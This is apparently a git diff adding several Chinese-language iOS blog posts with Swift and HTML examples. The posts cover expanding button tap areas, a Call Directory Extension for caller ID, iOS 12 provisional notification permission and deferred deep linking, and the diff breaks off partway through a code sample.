This post is licensed under CC BY 4.0 by the author.

Converting Medium Posts to Markdown

Visitor Pattern in TableView

diff --git a/posts/a8c2d7ed144b/index.html b/posts/a8c2d7ed144b/index.html new file mode 100644 index 000000000..f8c75c9bb --- /dev/null +++ b/posts/a8c2d7ed144b/index.html @@ -0,0 +1,101 @@ + iOS 擴大按鈕點擊範圍 | ZhgChgLi
Home iOS 擴大按鈕點擊範圍
Post
Cancel

iOS 擴大按鈕點擊範圍

iOS 擴大按鈕點擊範圍

重寫 pointInside 擴大感應區域

日常開發上經常遇到版面照著設計 UI 排好之後,畫面美美的,但是實際操作上按鈕的感應範圍太小,不容易準確點擊;尤其對手指粗的人極不友善。

完成範例圖

完成範例圖

Before…

關於這個問題當初沒特別深入研究,直接暴力蓋一個範圍更大的透明 UIButton 在原按鈕上,並使用這個透明的按鈕響應事件,做起來非常麻煩、元件一多也不好控制。

後來改用排版的方式解決,按鈕在排版時設定上下左右都對齊0 (或更低),再控制 imageEdgeInsetstitleEdgeInsetscontentEdgeInsets 這三個內距參數,將 Icon/按鈕標題 推到 UI 設計的正確位置;但這個做法比較適合使用 Storyboard/xib 的專案,因為可以直接在 Interface Builder 去推排版;另外一個是設計出的 Icon 最好要是沒有劉間距的,不然會不好對位置,有時候可能就卡在那個 0.5 的距離,怎麼調都不對齊。

After…

正所謂見多識廣,最近接觸到新專案之後又學到了一小招;就是可以在 UIButton 的 pointInside 中加大事件響應範圍,預設是 UIButton 的 Bounds,我們可以在裡面延伸 Bounds 的大小使按鈕的可點擊區域更大!

經過以上思路…我們可以:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+
class MyButton: UIButton {
+    var touchEdgeInsets:UIEdgeInsets?
+    override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool {
+        var frame = self.bounds
+        
+        if let touchEdgeInsets = self.touchEdgeInsets {
+            frame = frame.inset(by: touchEdgeInsets)
+        }
+        
+        return frame.contains(point);
+    }
+}
+

自訂一個 UIButton ,增加 touchEdgeInsets 這個 public property 存放要擴張的範圍 方便我們使用;接著複寫 pointInside 方法,實作上述的想法。

使用:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
import UIKit
+
+class MusicViewController: UIViewController {
+
+    @IBOutlet weak var playerButton: MyButton!
+    
+    override func viewDidLoad() {
+        super.viewDidLoad()
+        
+        playerButton.touchEdgeInsets = UIEdgeInsets(top: -10, left: -10, bottom: -10, right: -10)
+    }
+    
+}
+

播放按鈕/藍色為原始點擊區域/紅色為擴大後的點擊範圍

播放按鈕/藍色為原始點擊區域/紅色為擴大後的點擊範圍

使用時只需記得要將 Button 的 Class 指定為我們自訂的 MyButton,然後就能透過設定 touchEdgeInsets 針對個別 Button 擴大點擊範圍!

️⚠️⚠️⚠️⚠️️️️⚠️️️️

使用 Storyboard/xib 時記得設 Custom Class 為 MyButton

⚠️⚠️⚠️⚠️⚠️

touchEdgeInsets 以(0,0)自身為中心向外,所以上下左右的距離要用 負數 來延伸。

看起來不錯…但是:

對於每個 UIButton 都要置換成自訂的 MyButton 其實挺繁瑣的也增加程式的複雜性、甚至在大型專案中可能會有衝突。

對於這種我們認為應該所有 UIButton 天生都應該要具有的功能,如果可以,我們希望能直接 Extension 擴充原本的 UIButton :

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
private var buttonTouchEdgeInsets: UIEdgeInsets?
+
+extension UIButton {
+    var touchEdgeInsets:UIEdgeInsets? {
+        get {
+            return objc_getAssociatedObject(self, &buttonTouchEdgeInsets) as? UIEdgeInsets
+        }
+
+        set {
+            objc_setAssociatedObject(self,
+                &buttonTouchEdgeInsets, newValue,
+                .OBJC_ASSOCIATION_RETAIN_NONATOMIC)
+        }
+    }
+    
+    override open func point(inside point: CGPoint, with event: UIEvent?) -> Bool {
+        var frame = self.bounds
+        
+        if let touchEdgeInsets = self.touchEdgeInsets {
+            frame = frame.inset(by: touchEdgeInsets)
+        }
+        
+        return frame.contains(point);
+    }
+}
+

使用上如前述使用範例。

因 Extension 不能包含 Property 否則會報編譯錯誤「Extensions must not contain stored properties」,這邊參考了 使用 Property 配合 Associated Object 將外部變數 buttonTouchEdgeInsets 關聯到我們的 Extension 上,就能如 Property 日常使用。(詳細原理請參考 貓大的文章 )

UIImageView (UITapGestureRecognizer) 呢?

針對圖片點擊、我們自己在 View 上加的 Tap 手勢; ㄧ樣能透過複寫 UIImageView 的 pointInside 達到同樣的效果。

完成!經過不斷的改進,在解決這個議題上更簡潔方便了不少!

參考資料:

UIView 改变触摸范围 (Objective-C)

附記

去年同一時間想開個小分類「 顧小事成大事 」紀錄一下日常開發瑣碎的小事,但這些小事默默累積又能成大事增加整個 APP 的不管是體驗或是程式方面;結果 拖了一年 才又增加了一篇文章 <( _ _ )>,小事真的很容易忘了記錄啊!

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Medium 經營一年回顧

iOS 逆向工程初體驗

diff --git a/posts/ac557047d206/index.html b/posts/ac557047d206/index.html new file mode 100644 index 000000000..8e4c92078 --- /dev/null +++ b/posts/ac557047d206/index.html @@ -0,0 +1,249 @@ + 自己的電話自己辨識(Swift) | ZhgChgLi
Home 自己的電話自己辨識(Swift)
Post
Cancel

自己的電話自己辨識(Swift)

自己的電話自己辨識(Swift)

iOS自幹 Whoscall 來電辨識、電話號碼標記 功能

起源

一直以來都是Whoscall的忠實用戶,從原本用Android手機時就有使用,能夠非常即時的顯示陌生來電資訊,當下就能直接決定接通與否;後來轉跳蘋果陣營,第一隻蘋果手機是iPhone 6 (iOS 9),那時在使用Whoscall上非常彆扭,無法即時辨識電話,要複製電話號碼去APP查詢,後期Whoscall提供將陌生電話資料庫安裝在本地手機的服務,雖然能解決即時辨識的問題,但很容易就弄亂你的手機通訊錄!

直到 iOS 10+ 之後蘋果開放電話辨識功能(Call Directory Extension)權限給開發者,才使whoscall目前至少就體驗來說已和Android版無太大缺別,甚至超越Android版(Android版廣告超多,但以開發者的立場是可以理解的)

用途?

Call Directory Extension 能做到什麼呢?

  1. 電話 撥打 辨識標記
  2. 電話 來電 辨識標記
  3. 通話紀錄 辨識標記
  4. 電話 拒接 黑名單設置

限制?

  1. 使用者需手動進入「設定」「電話」「通話封鎖與識別」打開您的APP才能使用
  2. 僅能以離線資料庫方式辨識電話(無法即時取得來電資訊然後Call API查詢,僅能預先寫入號碼<->名稱對應在手機資料庫中) *也因此Whoscall會定期推播請使用者開APP更新來電辨識資料庫
  3. 數量上限?目前沒查到資料,應該是依照使用者手機容量無特別上限;但是數量多得辨識清單、封鎖清單要分批處理寫入!
  4. 軟體限制:iOS 版本需 ≥ 10

「設定」->「電話」->「通話封鎖與識別」

「設定」->「電話」->「通話封鎖與識別」

應用場景?

  1. 通訊軟體、辦公室通訊軟體;在APP內你可能有對方的聯絡人,但實際並未將手機號碼加入手機通訊錄中,這個功能就能避免同事甚至老闆來電時,被當陌生電話,結果漏接.
  2. 敝站( 結婚吧 )或敝私的( 591房屋交易 ),使用者與店家或房東聯繫時所撥打的電話都是我們的轉接號碼,經由轉接中心在轉撥到目標電話,大致流程如下:

使用者所撥打的電話都是轉接中心代表號( #分機),不會知道真實的電話號碼;一方面是保護個資隱私、另一方面也能知道有多少人聯絡商家(評估成效)甚至能知道是在哪看到然後撥打的(EX:網頁顯示#1234,APP顯示#5678)、還有也能推免費服務,由我方吸收電話通信費用.

但此做法會帶來ㄧ項不可避免的問題,就是電話號碼凌亂;無法辨識出是打給誰或是店家回撥時,使用者不知道來電者是誰,透過使用電話辨識功能就能大大解決這個問題,提升使用者體驗!

直接上一張成品圖:

[結婚吧 APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329?mt=8){:target="_blank"}

結婚吧 APP

可以看到在輸入電話、電話來電時能直接顯示辨識結果、通話記錄列表也不在亂糟糟ㄧ樣能在下方顯示辨識結果.

Call Directory Extension 電話辨識功能運作流程:

開工:

讓我們開始動手做吧!

1.為 iOS 專案加入 Call Directory Extension

Xcode -> File -> New -> Target

Xcode -> File -> New -> Target

選擇 Call Directory Extension

選擇 Call Directory Extension

輸入Extension名稱

輸入Extension名稱

可順帶加入 Scheme 方便 Debug

可順帶加入 Scheme 方便 Debug

目錄底下就會出現Call Directory Extension的資料夾及程式

目錄底下就會出現Call Directory Extension的資料夾及程式

2.開始編寫 Call Directory Extension 相關程式

首先回到主 iOS 專案上

第一個問題是我們該如何判斷使用者的裝置支不支援Call Directory Extension或是設定中的「通話封鎖與識別」是否已經打開:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
import CallKit
+//
+//......
+//
+if #available(iOS 10.0, *) {
+    CXCallDirectoryManager.sharedInstance.getEnabledStatusForExtension(withIdentifier: "這裡輸入call directory extension的bundle identifier", completionHandler: { (status, error) in
+        if status == .enabled {
+          //啟用中
+        } else if status == .disabled {
+          //未啟用
+        } else {
+          //未知,不支援
+        }
+    })
+}
+

前面有提到,來電辨識的運作方式是要在本地維護一個辨識資料庫;再來就是重頭戲該如何達成這個功能?

很遺憾,您無法直接對Call Directory Extension進行呼叫寫入資料,所以你需要多維護一層對應結構,然後Call Directory Extension再去讀取你的結構再寫入辨識資料庫中,流程如下:

意旨我們需要多維護一個自己的資料庫文件,再讓Extenstion去讀取寫入到手機中

意旨我們需要多維護一個自己的資料庫文件,再讓Extenstion去讀取寫入到手機中

那所謂的辨識資料、檔案該長怎樣?

其實就是個Dictionary結構,如:[“電話”:”王大明”]

存在本地的檔案可用一些Local DB(但Extension那邊也要能裝能用),這邊是直接存一個.json檔在手機裡; 不建議直接存在UserDefaults,如果是測試或資料很少可以,實際應用強烈不建議!

好的,開始:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
if #available(iOS 10.0, *) {
+    if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: "你的跨Extesion,Group Identifier名稱") {
+        let fileURL = dir.appendingPathComponent("phoneIdentity.json")
+        var datas:[String:String] = ["8869190001234":"李先生","886912002456":"大帥"]
+        if let content = try? String(contentsOf: fileURL, encoding: .utf8),let text = content.data(using: .utf8),let json2 = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary<String,String>,let json = json2 {
+            datas = json
+        }
+        if let data = jsonToData(jsonDic: datas) {
+            DispatchQueue(label: "phoneIdentity").async {
+                if let _ = try? data.write(to: fileURL) {
+                    //寫入json檔完成
+                }
+            }
+        }
+    }
+}
+

就只是一般的本地檔案維護,要注意的就是目錄需要在Extesion也能讀取的地方。

補充 — 電話號碼格式:

  1. 台灣地區市話、手機都需去掉0以886代替:如 0255667788 -> 886255667788
  2. 電話格式是純數字組合的字串,勿夾雜「-」、「,」、「#」…等符號
  3. 市話電話如有包含要辨識到 分機 ,直接接在後面即可不需帶任何符號:如 0255667788,0718 -> 8862556677880718
  4. 將一般iOS電話格式轉換成辨識資料庫可接受格式可參考以下兩個取代方法:
1
+2
+3
+4
+5
+6
+7
+
var newNumber = "0255667788,0718"
+if let regex = try? NSRegularExpression(pattern: "^0{1}") {
+    newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: "886")
+}
+if let regex = try? NSRegularExpression(pattern: ",") {
+    newNumber = regex.stringByReplacingMatches(in: newNumber, options: [], range: NSRange(location: 0, length: newNumber.count), withTemplate: "")
+}
+

再來就是如流程,辨識資料已維護好;需要通知Call Directory Extension去刷新手機那邊的資料:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+
if #available(iOS 10.0, *) {
+    CXCallDirectoryManager.sharedInstance.reloadExtension(withIdentifier: "tw.com.marry.MarryiOS.CallDirectory") { errorOrNil in
+        if let error = errorOrNil as? CXErrorCodeCallDirectoryManagerError {
+            print("reload failed")
+            
+            switch error.code {
+            case .unknown:
+                print("error is unknown")
+            case .noExtensionFound:
+                print("error is noExtensionFound")
+            case .loadingInterrupted:
+                print("error is loadingInterrupted")
+            case .entriesOutOfOrder:
+                print("error is entriesOutOfOrder")
+            case .duplicateEntries:
+                print("error is duplicateEntries")
+            case .maximumEntriesExceeded:
+                print("maximumEntriesExceeded")
+            case .extensionDisabled:
+                print("extensionDisabled")
+            case .currentlyLoading:
+                print("currentlyLoading")
+            case .unexpectedIncrementalRemoval:
+                print("unexpectedIncrementalRemoval")
+            }
+        } else if let error = errorOrNil {
+            print("reload error: \(error)")
+        } else {
+            print("reload succeeded")
+        }
+    }
+}
+

使用以上方法通知Extension刷新,並取得執行結果。(這時候會呼叫執行Call Directory Extension裡的beginRequest,請繼續往下看)

主 iOS 專案的程式就到這了!

3.開始修改 Call Directory Extension 的程式

打開Call Directory Extension 目錄,找到底下已經幫你建立好的檔案 CallDirectoryHandler.swift

能實作的方法只有 beginRequest 當要處理手機電話資料時的動作,預設範例都把我們建好了,不太需要去動:

  1. addAllBlockingPhoneNumbers :處理加入黑名單號碼(全新增)
  2. addOrRemoveIncrementalBlockingPhoneNumbers :處理加入黑名單號碼(遞增方式)
  3. addAllIdentificationPhoneNumbers :處理加入來電辨識號碼(全新增)
  4. addOrRemoveIncrementalIdentificationPhoneNumbers :處理加入來電辨識號碼(遞增方式)

我們只要完成以上的Function實作即可,黑名單功能跟來電辨識方式原理都ㄧ樣這邊就不多作介紹.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+
private func fetchAll(context: CXCallDirectoryExtensionContext) {
+    if let dir = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: "你的跨Extesion,Group Identifier名稱") {
+        let fileURL = dir.appendingPathComponent("phoneIdentity.json")
+        if let content = try? String(contentsOf: fileURL, encoding: .utf8),let text = content.data(using: .utf8),let numbers = try? JSONSerialization.jsonObject(with: text, options: .mutableContainers) as? Dictionary<String,String> {
+            numbers?.sorted(by: { (Int($0.key) ?? 0) < Int($1.key) ?? 0 }).forEach({ (obj) in
+                if let number = CXCallDirectoryPhoneNumber(obj.key) {
+                    autoreleasepool{
+                        if context.isIncremental {
+                            context.removeIdentificationEntry(withPhoneNumber: number)
+                        }
+                        context.addIdentificationEntry(withNextSequentialPhoneNumber: number, label: obj.value)
+                    }
+                }
+            })
+        }
+    }
+}
+
+private func addAllIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) {
+    // Retrieve phone numbers to identify and their identification labels from data store. For optimal performance and memory usage when there are many phone numbers,
+    // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded.
+    //
+    // Numbers must be provided in numerically ascending order.
+    //        let allPhoneNumbers: [CXCallDirectoryPhoneNumber] = [ 1_877_555_5555, 1_888_555_5555 ]
+    //        let labels = [ "Telemarketer", "Local business" ]
+    //
+    //        for (phoneNumber, label) in zip(allPhoneNumbers, labels) {
+    //            context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label)
+    //        }
+    fetchAll(context: context)
+}
+
+private func addOrRemoveIncrementalIdentificationPhoneNumbers(to context: CXCallDirectoryExtensionContext) {
+    // Retrieve any changes to the set of phone numbers to identify (and their identification labels) from data store. For optimal performance and memory usage when there are many phone numbers,
+    // consider only loading a subset of numbers at a given time and using autorelease pool(s) to release objects allocated during each batch of numbers which are loaded.
+    //        let phoneNumbersToAdd: [CXCallDirectoryPhoneNumber] = [ 1_408_555_5678 ]
+    //        let labelsToAdd = [ "New local business" ]
+    //
+    //        for (phoneNumber, label) in zip(phoneNumbersToAdd, labelsToAdd) {
+    //            context.addIdentificationEntry(withNextSequentialPhoneNumber: phoneNumber, label: label)
+    //        }
+    //
+    //        let phoneNumbersToRemove: [CXCallDirectoryPhoneNumber] = [ 1_888_555_5555 ]
+    //
+    //        for phoneNumber in phoneNumbersToRemove {
+    //            context.removeIdentificationEntry(withPhoneNumber: phoneNumber)
+    //        }
+    
+    //context.removeIdentificationEntry(withPhoneNumber: CXCallDirectoryPhoneNumber("886277283610")!)
+    //context.addIdentificationEntry(withNextSequentialPhoneNumber: CXCallDirectoryPhoneNumber("886277283610")!, label: "TEST")
+    
+    fetchAll(context: context)
+    // Record the most-recently loaded set of identification entries in data store for the next incremental load...
+}
+

因為敝站的資料不會到太多而且我的本地資料結構相當簡易,無法做到遞增;所以這邊 統一都用全新增的方式,如是遞增方式則要先刪除舊的(這步很重要不然會reload extensiton失敗!)

完工!

到此為止就完成囉!實作方面非常簡單!

Tips:

  1. 如果在「設定」「電話」「通話封鎖與識別」打開APP時一直轉或是打開後無法辨識號碼,可先確認號碼是否正確、本地維護的.json資料是否正確、reload extensiton是否成功;或重開機試試,都找不出來可以選call directory extension的Scheme Build 看看錯誤訊息.
  2. 這個功能 最困難的點不是程式方面而是要引導使用者手動去設定打開 ,具體方式及引導可參考whoscall:

[Whoscall](https://whoscall.com/zh-TW/){:target="_blank"}

Whoscall

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS tintAdjustmentMode 屬性

iOS 完美實踐一次性優惠或試用的方法 (Swift)

diff --git a/posts/ade9e745a4bf/index.html b/posts/ade9e745a4bf/index.html new file mode 100644 index 000000000..c8e53b3af --- /dev/null +++ b/posts/ade9e745a4bf/index.html @@ -0,0 +1,65 @@ + 什麼?iOS 12 不需使用者授權就能收到推播通知(Swift) | ZhgChgLi
Home 什麼?iOS 12 不需使用者授權就能收到推播通知(Swift)
Post
Cancel

什麼?iOS 12 不需使用者授權就能收到推播通知(Swift)

什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) — (2019–02–06 更新)

UserNotifications Provisional Authorization 臨時權限、iOS 12 靜音通知介紹

MurMur……

前陣子在改善APP推播通知允許及點擊率過低問題,做了些優化調整;最初版的時候體驗非常差,APP 安裝完一啟動就直接跳「APP想要傳送通知」的詢問視窗;想當然而關閉率非常高,根據前一篇使用 Notification Service Extension 統計通知實際顯示數,推測按允許推播的使用者只有大約10%.

目前調整新安裝引導流程、配合介面優化將詢問通知視窗的跳出時機調整如下:

[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

結婚吧APP

如果使用者還在猶豫或想使用看看再決定要不要接收通知,可按右上角「略過」,避免一開始因對APP還不熟悉而按下「不允許」造成之後也無法再詢問一去不復返的結果。

進入正題

在做上面這個優化項目時發現 UserNotifications iOS 12 中新增一項 .provisional 權限,翻成白話就是臨時的通知權限, 不用跳詢問通知視窗取得允許通知權限就能對使用者發送推播通知(靜音通知) ,實際效果跟限制我們接著看下去。

如何要求臨時通知權限?

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
if #available(iOS 12.0, *) {
+    let center = UNUserNotificationCenter.current()
+    let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound, .provisional]
+    // 可以只要求臨時權限.provisional,或是順便先要求所有要用的權限XD
+    // 都不會觸發顯示詢問通知視窗
+    
+    center.requestAuthorization(options: permissiones) { (granted, error) in
+        print(granted)
+    }
+}
+

我們將以上程式加入 AppDelegate didFinishLaunchingWithOptions 然後開啟APP,就會發現沒有跳出詢問通知視窗;這時我們去 設定 查看 APP通知設定

(圖一) 取得靜音通知權限

(圖一) 取得靜音通知權限

我們就這樣默默地取得了靜音通知權限🏆

在程式判斷當前推播通知權限的部分新增 authorizationStatus .provisional 項目 (僅iOS 12之後):

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
if #available(iOS 10.0, *) {
+    UNUserNotificationCenter.current().getNotificationSettings { (settings) in
+        if settings.authorizationStatus == .authorized {
+            //允許
+        } else if settings.authorizationStatus == .denied {
+            //不允許
+        } else if settings.authorizationStatus == .notDetermined {
+            //沒問過
+        } else if #available(iOS 12.0, *) {
+            if settings.authorizationStatus == .provisional {
+                //目前是臨時權限
+            }
+        }
+    }
+}
+

請注意! 如果你有針對當前通知權限狀態做判斷,settings.authorizationStatus == .notDetermined 跟 settings.authorizationStatus == .provisional

都是可以再跳出通知詢問視窗問使用者允不允許接收通知的

靜音通知能幹嘛?推播如何顯示?

先來張圖整理一下靜音通知會顯示的時機:

可以看到如果是靜音推播通知,APP在背景狀態下收到通知時 不會跳出橫幅、不會有聲音提示、不能標記、不會出現在鎖定畫面,只會出現在手機解鎖狀態下下拉的通知中心之中

可以看到您的發送的推播通知,並且會自動聚合成一個分類

點擊展開後使用者可選擇:

此展開的詢問視窗只會出現在「臨時權限」時靜音推播之下

此展開的詢問視窗只會出現在「臨時權限」時靜音推播之下

  1. 要「繼續」接收推播 — 「傳送重要通知」: 通知權限就全開了!通知權限就全開了!通知權限就全開了! 真的很重要所以講三次,這時候前面程式碼要求權限那段一併要求所有權限的效果就相當顯著了。 或維持接收靜音通知
  2. 「關閉」 — 「關閉所有通知」點擊後完全關閉推播通知(含靜音通知)。

附註:要怎麼手動把現有的APP調成靜音通知?

靜音通知是iOS 12對通知優化推出的新設定與臨時權限無關,只不過是程式那端拿到臨時權限就能發靜音通知;針對APP的通知要設成靜音也很簡單,方法之一就是去「設定」-「通知」- 找到APP 將其所有權限都關閉只留「通知中心」(如圖ㄧ)即是靜音通知. 或是收到APP通知時重壓/長壓展開後,點擊右上角「…」選擇傳送靜音通知亦同:

有了臨時權限在之後觸發跳出詢問通知視窗時:

要求通知權限的部分拿掉 .provisional 就能依然正常詢問使用者要不要允許接收通知:

1
+2
+3
+4
+5
+6
+7
+
if #available(iOS 10.0, *) {
+    let center = UNUserNotificationCenter.current()
+    let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound]
+    center.requestAuthorization(options: permissiones) { (granted, error) in
+        print(granted)
+    }
+}
+

按「允許」取得所有通知權限、按「不允許」關閉所有通知權限(含本來取得的靜音通知權限)

整體流程如下:

總結:

iOS 12的這項通知貼心優化,讓使用者跟開發者之間對通知功能更容易達搭起互動的橋樑,能盡量避免一去不復返關閉通知的狀況。

對使用者來說,往往跳詢問通知視窗時不知該按下允許還是拒絕因為我們不知道開發者會傳什麼樣的通知給我們,可能是廣告亦可能是重要消息,未知的事物是可怕的,所以大部分的人都會先保守按下拒絕。

對開發者來說,我們精心準備了許多項目包含重要消息要推送給使用者知道,但就因上述問題而被使用者屏蔽,我們花費心思設計的文案就這樣白費了!

此功能可讓開發者把握使用者剛安裝APP時的機會,設計好推播流程、內容,對使用者優先推送感興趣項目,增加使用者對此APP通知的認識度,並追蹤推播點擊率,在適當的時機再觸發詢問使用者要不要接收通知。

雖然能曝光的地方只有 通知中心 但有曝光有機會;換個角度想,我們是使用者的話,沒按允許通知,APP如果能傳一堆有橫幅+有聲音+還出現在解鎖畫面的通知給我,應該會覺得非常干擾惱人(隔壁陣營就是XD),蘋果這個做法則是在使用者與開發者之間取得了平衡。

目前的問題大概就是….iOS 12的用戶還太少🤐

2019–02–06 更新實際應用:

實際應用我已「取消」實作此功能

為什麼?

因為發現在以下情況使用者會被動進入靜音推播模式,要自行手動把所有推播權限(橫幅、聲音、標記)打開

有點尷尬,也就是說使用者如果再詢問通知權限時按否,到設定再打開,那個打開的會只有靜音通知權限;要再請使用者把下方橫幅、聲音、標記都打開有點困難,所以暫時就先取消不使用了。

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS UUID 的那些事 (Swift/iOS ≥ 6)

從 iOS 9 到 iOS 12 推播通知權限狀態處理(Swift)

diff --git a/posts/b08ef940c196/index.html b/posts/b08ef940c196/index.html new file mode 100644 index 000000000..f7b2d4bec --- /dev/null +++ b/posts/b08ef940c196/index.html @@ -0,0 +1,257 @@ + iOS Deferred Deep Link 延遲深度連結實作(Swift) | ZhgChgLi
Home iOS Deferred Deep Link 延遲深度連結實作(Swift)
Post
Cancel

iOS Deferred Deep Link 延遲深度連結實作(Swift)

動手打造適應所有場景、不中斷的App轉跳流程

[2022/07/22] 更新 iOS 16 Upcoming Changes

iOS ≥ 16 開始非使用者主動操作貼上動作,App 主動讀取剪貼簿的行為會跳出詢問視窗,使用者需要按允許,App 才能讀取到剪貼簿資訊。

[UIPasteBoard’s privacy change in iOS 16](https://sarunw.com/posts/uipasteboard-privacy-change-ios16/){:target="_blank"}

UIPasteBoard’s privacy change in iOS 16

[2020/07/02] 更新

無關

畢業當完兵到現在庸庸碌碌工作了快三年,成長已趨於平緩,開始進入舒適圈,所幸心一橫提了離職,沈澱重新出發。

在閱讀 做自己的生命設計師 重新梳理自己的人生規劃時,回顧了一下工作跟人生,雖然本身技術能力沒有很好,但在寫 Medium 與大家分享能讓我進入「心流」跟獲得大量的精力;剛好前陣子有朋友在問 Deep Link 問題,藉此整理了我研究的做法,也順便補充下自己的精力!

場景

首先要先說明實際應用場景。

1.當使用者有裝 APP 時點擊網址連結(Google搜尋來源、FB貼文、Line連結…) 則直接開 APP 呈現目標畫面,若無則跳轉到 APP Store 安裝 APP; 安裝完後打開APP,要能重現之前欲前往的畫面

iOS Deferred Deep Link Demo

2.APP 下載和開啟數據追蹤,我們想知道 APP 推廣連結有多少人確實從這個入口下載和開啟 APP 的。

3.特殊活動入口,例如透過特定網址下載後開啟能獲得獎勵。

支援度:

iOS ≥ 9

可以看到 iOS Deep Link 本身運作機制只有判斷 APP 有無安裝,有則開 APP,無則不處理.

首先我們要先加上「無則跳轉到 APP Store」提示使用者安裝 APP:

URL Scheme 的部分是由系統控制,一般用於 APP 內呼叫鮮少公開出來;因為如果觸發點在自己無法控制的區域(如:Line連結),則無法處理。

若觸發點在自身網頁上可以使用些小技巧處理,請參考 這裡

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+
<html>
+<head>
+  <title>Redirect...</title>
+  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+  <script>
+    var appurl = 'marry://open';
+    var appstore = 'https://apps.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E6%9C%80%E5%A4%A7%E5%A9%9A%E7%A6%AE%E7%B1%8C%E5%82%99app/id1356057329';
+
+    var timeout;
+    function start() {
+      window.location = appurl;
+      timeout = setTimeout(function(){
+        if(confirm('馬上安裝結婚吧APP?')){
+          document.location = appstore;
+        }
+      }, 1000);
+    }
+
+    window.onload = function() {
+      start()
+    }
+  </script>
+</head>
+<body>
+
+</body>
+</html>
+

大略邏輯是 一樣呼叫 URL Scheme,然後設個 Timeout,時間到若還在本頁沒跳轉就當沒安裝 Call 不到 Scheme,轉而導 APP Store 頁面 (但體驗還是不好還是會跳網址錯誤提示,只是多了自動轉址)。

Universal Link 本身就是個自己的網頁,若無跳轉,預設就是使用網頁瀏覽器呈現,這邊有網頁服務的可以選擇直接跳網頁瀏覽、沒有的就直接導 APP Store 頁面。

有網頁服務的網站可以在 &lt;head&gt;&lt;/head&gt; 中加入:

&lt;meta name=”apple-itunes-app” content=”app-id=APPID, app-argument=頁面參數”&gt;

使用 iPhone Safari 瀏覽網頁版上方就會出現 APP 安裝提示、使用 APP 開啟本頁的按鈕; 參數 app-argument 就是用來帶入頁面值,並傳遞到 APP 用的。

加上「無則跳轉到 APP Store」的流程圖

加上「無則跳轉到 APP Store」的流程圖

我們要的當然不只是「當使用者有安裝 APP 則開啟 APP」,我們還要將來源資訊與 APP 串起,讓 APP 開啟後自動呈現目標頁面的 APP 畫面。

URL Scheme 方式可在 AppDelegate 中的 func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -&gt; Bool 進行處理:

1
+2
+3
+4
+5
+6
+7
+8
+9
+
func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: Any) -> Bool {
+    if url.scheme == "marry",let params = url.queryParameters {
+      if params["type"] == "topic" {
+        let VC = TopicViewController(topicID:params["id"])
+        UIApplication.shared.keyWindow?.rootViewController?.present(VC,animated: true)
+      }    
+    }
+    return true
+}
+

Universal Link 則是在 AppDelegate 中的 func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -&gt; Void) -&gt; Bool 進行處理:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+
extension URL {
+    /// test=1&a=b&c=d => ["test":"1","a":"b","c":"d"]
+    /// 解析網址query轉換成[String: String]數組資料
+    public var queryParameters: [String: String]? {
+        guard let components = URLComponents(url: self, resolvingAgainstBaseURL: true), let queryItems = components.queryItems else {
+            return nil
+        }
+        
+        var parameters = [String: String]()
+        for item in queryItems {
+            parameters[item.name] = item.value
+        }
+        
+        return parameters
+    }
+    
+}
+

先附上一個 URL 的擴充方法 queryParameters,用於方便將 URL Query 轉換成 Swift Dictionary。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool {
+        
